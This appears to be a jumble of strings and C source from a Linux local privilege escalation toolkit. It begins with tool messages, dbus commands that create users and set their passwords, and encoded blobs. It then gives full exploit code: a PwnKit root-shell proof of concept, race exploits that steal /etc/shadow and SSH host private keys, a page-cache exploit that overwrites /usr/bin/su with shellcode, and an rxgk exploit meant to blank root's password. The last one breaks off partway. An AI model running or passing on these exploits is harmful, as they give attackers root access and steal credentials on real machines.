or restore the backup file printed above to clean up.internal/sync.HashTrieMap: ran out of hash bits while inserting (incorrect use of unsafe or cgo, or data race?)Linux kernel LPE race condition in process exit path allowing info disclosure. Use -target shadow or -target key.[!] DirtyDecrypt modifies page cache of a SUID binary. Reboot or restore the backup file printed above to clean up.[!] This module may contaminate page cache; reboot or run `echo 3 > /proc/sys/vm/drop_caches` as root after testing.Linux kernel LPE (CVE-2026-43494) utilizing RDS zerocopy double-free + io_uring page cache overwrite for a root shell. --------------------------------------------------------------------------------------------------------------------------------================================================================================================================================789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:%s string:%s int32:1v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-?([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??^v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??$^v?([0-9]+(\.[0-9]+)*?)(-([0-9]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)|(-?([A-Za-z\-~]+[0-9A-Za-z\-~]*(\.[0-9A-Za-z\-~]+)*)))?(\+([0-9A-Za-z\-~]+(\.[0-9A-Za-z\-~]+)*))??$--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User%s org.freedesktop.Accounts.User.SetPassword string:%s string:lol78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858--session --print-reply --type=method_call --dest=org.freedesktop.PackageKit /org/freedesktop/PackageKit org.freedesktop.PackageKit.Modify.InstallPackageNames uint32:1 array:string:%s string:00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899@ `P0pH(hX8xD$dT4t L,l\<|B"bR2r J*jZ:zF&fV6vN.n^>~A!aQ1q I)iY9yE%eU5u M-m]=}C#cS3s K+k[;{G'gW7wO/o_?  /* * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 */ #include #include #include char *shell = "#include \n" "#include \n" "#include \n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; char compile_cmd[512]; const char *pkexec_path = argc > 1 ? argv[1] : "/usr/bin/pkexec"; const char *cc = getenv("CC"); if (cc == NULL || cc[0] == '\0') { cc = "gcc"; } system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); snprintf(compile_cmd, sizeof(compile_cmd), "%s pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC", cc); system(compile_cmd); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve(pkexec_path, (char*[]){NULL}, env); perror("execve"); return 1; } /* * CVE-2026-46333 - Shadow File Stealer (chage) * Author : Ashraf Zaryouh / @0xBlackash */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define MAX_ROUNDS 1200 #define MAX_TRIES 18000 #define MAX_FDS 64 #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif static int pidfd_open(pid_t pid, unsigned flags) { return syscall(__NR_pidfd_open, pid, flags); } static int pidfd_getfd(int pidfd, int target_fd, unsigned flags) { return syscall(__NR_pidfd_getfd, pidfd, target_fd, flags); } int main(void) { printf("[+] CVE-2026-46333 Shadow Stealer by 0xBlackash\n"); printf("[+] Target: /etc/shadow via chage\n\n"); const char *chage_path = "/usr/bin/chage"; if (access(chage_path, X_OK) != 0) { fprintf(stderr, "[-] chage not found at %s\n", chage_path); return 1; } printf("[+] Found chage at: %s\n", chage_path); printf("[+] Starting race...\n"); for (int round = 0; round < MAX_ROUNDS; round++) { pid_t child = fork(); if (child == 0) { int null = open("/dev/null", O_RDWR); dup2(null, 0); dup2(null, 1); dup2(null, 2); close(null); execl(chage_path, "chage", "-l", "root", NULL); _exit(127); } int pidfd = pidfd_open(child, 0); if (pidfd < 0) { waitpid(child, NULL, 0); continue; } int success = 0; for (int try = 0; try < MAX_TRIES && !success; try++) { for (int fd = 3; fd < MAX_FDS; fd++) { int stolen = pidfd_getfd(pidfd, fd, 0); if (stolen < 0) continue; char path[512]; char link[128]; snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); ssize_t len = readlink(link, path, sizeof(path)-1); if (len > 0) { path[len] = '\0'; if (strstr(path, "/etc/shadow")) { printf("[+] SUCCESS! Stolen /etc/shadow (round %d)\n", round); lseek(stolen, 0, SEEK_SET); char buffer[8192]; ssize_t n = read(stolen, buffer, sizeof(buffer)-1); if (n > 0) { buffer[n] = '\0'; printf("\n=== /etc/shadow ===\n%s\n", buffer); } close(stolen); success = 1; break; } } close(stolen); } } close(pidfd); waitpid(child, NULL, 0); if (success) return 0; if ((round + 1) % 100 == 0) printf("[.] Progress: %d/%d rounds\n", round + 1, MAX_ROUNDS); } printf("[-] Failed to hit shadow after %d rounds.\n", MAX_ROUNDS); return 1; } /* * CVE-2026-46333 - ssh-keysign-pwn (and similar SUID tools) * Author : Ashraf Zaryouh / @0xBlackash * * Exploits race condition in process exit path (do_exit -> exit_mm before exit_files) * when mm == NULL, dumpability checks are bypassed, allowing pidfd_getfd to steal * open file descriptors from dying privileged processes. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #define MAX_ROUNDS 800 #define MAX_FDS_SCAN 64 #define MAX_TRIES 25000 // Raw syscalls for older glibc #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif static int pidfd_open(pid_t pid, unsigned flags) { return syscall(__NR_pidfd_open, pid, flags); } static int pidfd_getfd(int pidfd, int target_fd, unsigned flags) { return syscall(__NR_pidfd_getfd, pidfd, target_fd, flags); } int main(void) { printf("[+] CVE-2026-46333 PoC by 0xBlackash\n"); printf("[+] Target: Steal SSH host private keys via ssh-keysign\n\n"); const char *ssh_keysign_paths[] = { "/usr/libexec/ssh-keysign", "/usr/lib/openssh/ssh-keysign", "/usr/lib/ssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", NULL }; const char *binary = NULL; for (int i = 0; ssh_keysign_paths[i]; i++) { if (access(ssh_keysign_paths[i], X_OK) == 0) { binary = ssh_keysign_paths[i]; break; } } if (!binary) { fprintf(stderr, "[-] ssh-keysign not found. Install openssh-server.\n"); return 1; } printf("[+] Found ssh-keysign at: %s\n", binary); printf("[+] Starting race attack...\n"); int success = 0; for (int round = 0; round < MAX_ROUNDS && !success; round++) { pid_t child = fork(); if (child == 0) { // Child: silent execution of ssh-keysign int nullfd = open("/dev/null", O_RDWR); dup2(nullfd, 0); dup2(nullfd, 1); dup2(nullfd, 2); close(nullfd); execl(binary, "ssh-keysign", NULL); _exit(127); } int pidfd = pidfd_open(child, 0); if (pidfd < 0) { waitpid(child, NULL, 0); continue; } for (int attempt = 0; attempt < MAX_TRIES && !success; attempt++) { for (int fd = 3; fd < MAX_FDS_SCAN; fd++) { int stolen_fd = pidfd_getfd(pidfd, fd, 0); if (stolen_fd < 0) continue; // Check if this fd points to an SSH host key char linkpath[128], realpath[512]; snprintf(linkpath, sizeof(linkpath), "/proc/self/fd/%d", stolen_fd); ssize_t len = readlink(linkpath, realpath, sizeof(realpath) - 1); if (len > 0) { realpath[len] = '\0'; if (strstr(realpath, "ssh_host_") && strstr(realpath, "_key")) { printf("[+] SUCCESS! Stolen fd %d -> %s (round %d)\n", fd, realpath, round); // Read and dump the private key lseek(stolen_fd, 0, SEEK_SET); char buffer[8192]; ssize_t n = read(stolen_fd, buffer, sizeof(buffer) - 1); if (n > 0) { buffer[n] = '\0'; printf("\n=== SSH PRIVATE KEY ===\n%s\n", buffer); } close(stolen_fd); success = 1; break; } } close(stolen_fd); } } close(pidfd); waitpid(child, NULL, 0); if ((round + 1) % 50 == 0) { printf("[.] Still racing... (%d/%d)\n", round + 1, MAX_ROUNDS); } } if (success) { printf("[+] Exploit completed successfully.\n"); } else { printf("[-] Failed after %d rounds. Try increasing MAX_ROUNDS.\n", MAX_ROUNDS); } return success ? 0 : 1; } #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 #define PAYLOAD_LEN 192 #define ENTRY_OFFSET 0x78 static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return 0; } static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; } static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG("add_xfrm_sa #%d failed", i); return -1; } } SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d failed", i); return -1; } } SLOG("wrote %d bytes to %s", PAYLOAD_LEN, TARGET_PATH); return 0; } int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG("corruption stage failed"); return 1; } if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("verify failed"); return 1; } printf("[+] /usr/bin/su page-cache patched successfully!\n"); return 0; } int main(int argc, char **argv) { printf("=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh \"0xBlackash\" ===\n"); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); if (getuid() == 0) { execlp("/bin/sh", "sh", NULL); return 1; } int rc = su_lpe_main(argc, argv); if (rc == 0) { printf("[+] Success! Spawning root shell...\n"); execl("/usr/bin/su", "su", "-c", "/bin/sh", NULL); } printf("[-] Exploit failed\n"); return 1; } /* * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb() * * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then * crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback), * the in-place decrypt corrupts the page cache. * * The same pattern exists in rxkad (rxkad_verify_packet_2). * * Exploitation uses a sliding-window technique to write arbitrary bytes to the * pagecache one at a time. Each round fires a spliced rxgk packet at offset * S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly * random (1/256 chance of the target value). Round i+1 at offset S+i+1 * overwrites the 15 bytes of collateral from round i, but never touches the * byte set by round i. This yields byte-granularity writes at ~256 fires per * byte. * * Attack: rewrite /etc/passwd root entry → empty password → su root → flag. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef __has_include # if __has_include() # include # include # include # else # define NEED_RXRPC_DEFS # endif #else # include # include # include #endif #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifdef NEED_RXRPC_DEFS #define KEY_SPEC_PROCESS_KEYRING (-2) #define RXRPC_SECURITY_KEY 1 #define RXRPC_MIN_SECURITY_LEVEL 4 #define RXRPC_SECURITY_ENCRYPT 2 #define RXRPC_USER_CALL_ID 1 struct sockaddr_rxrpc { unsigned short srx_family; uint16_t srx_service; uint16_t transport_type; uint16_t transport_len; union { unsigned short family; struct sockaddr_in sin; struct sockaddr_in6 sin6; } transport; }; #endif #define RXGK_SECURITY_INDEX 6 #define ENCTYPE_AES128_CTS 17 #define AES_KEY_LEN 16 struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; uint16_t serviceId; } __attribute__((packed)); #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_LAST_PACKET 0x04 #define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) /* --- helpers --- */ static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); } static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } /* --- user/net namespace --- */ static void setup_ns(void) { uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { if (unshare(CLONE_NEWNET) < 0) { perror("unshare"); exit(1); } } else { write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", uid); write_proc("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1", gid); write_proc("/proc/self/gid_map", map); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct ifreq ifr = {}; strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; ioctl(s, SIOCSIFFLAGS, &ifr); } close(s); } } /* --- rxgk XDR token construction --- */ static void xdr_put32(uint8_t **pp, uint32_t val) { uint32_t nv = htonl(val); memcpy(*pp, &nv, 4); *pp += 4; } static void xdr_put64(uint8_t **pp, uint64_t val) { xdr_put32(pp, (uint32_t)(val >> 32)); xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF)); } static void xdr_put_data(uint8_t **pp, const void *data, size_t len) { xdr_put32(pp, (uint32_t)len); memcpy(*pp, data, len); *pp += len; size_t pad = (4 - (len & 3)) & 3; if (pad) { memset(*pp, 0, pad); *pp += pad; } } static int build_rxgk_token(uint8_t *out, size_t maxlen, const uint8_t *base_key, size_t keylen) { uint8_t *p = out; struct timespec ts; clock_gettime(CLOCK_REALTIME, &ts); uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL + (uint64_t)ts.tv_nsec / 100ULL; xdr_put32(&p, 0); /* flags */ xdr_put_data(&p, "poc.test", 8); /* cell */ xdr_put32(&p, 1); /* ntoken */ uint8_t tok[512]; uint8_t *tp = tok; xdr_put32(&tp, RXGK_SECURITY_INDEX); xdr_put64(&tp, now); /* begintime */ xdr_put64(&tp, now + 864000000000ULL); /* endtime */ xdr_put64(&tp, 2); /* level = ENCRYPT */ xdr_put64(&tp, 864000000000ULL); /* lifetime */ xdr_put64(&tp, 0); /* bytelife */ xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */ xdr_put_data(&tp, base_key, keylen); /* key */ uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE}; xdr_put_data(&tp, ticket, sizeof(ticket)); size_t toklen = (size_t)(tp - tok); xdr_put32(&p, (uint32_t)toklen); memcpy(p, tok, toklen); p += toklen; if ((size_t)(p - out) > maxlen) return -1; return (int)(p - out); } static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen) { uint8_t buf[1024]; int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen); if (n < 0) return -1; return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); } /* --- AF_RXRPC client + fake UDP server --- */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) return -1; if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { close(fd); return -1; } int min_level = RXRPC_SECURITY_ENCRYPT; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { close(fd); return -1; } struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { close(fd); return -1; } return fd; } static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id) { char data[] = "TESTDATA"; struct sockaddr_rxrpc srx = {0}; srx.srx_family = AF_RXRPC; srx.srx_service = service_id; srx.transport_type = SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; struct msghdr msg = {0}; msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf; 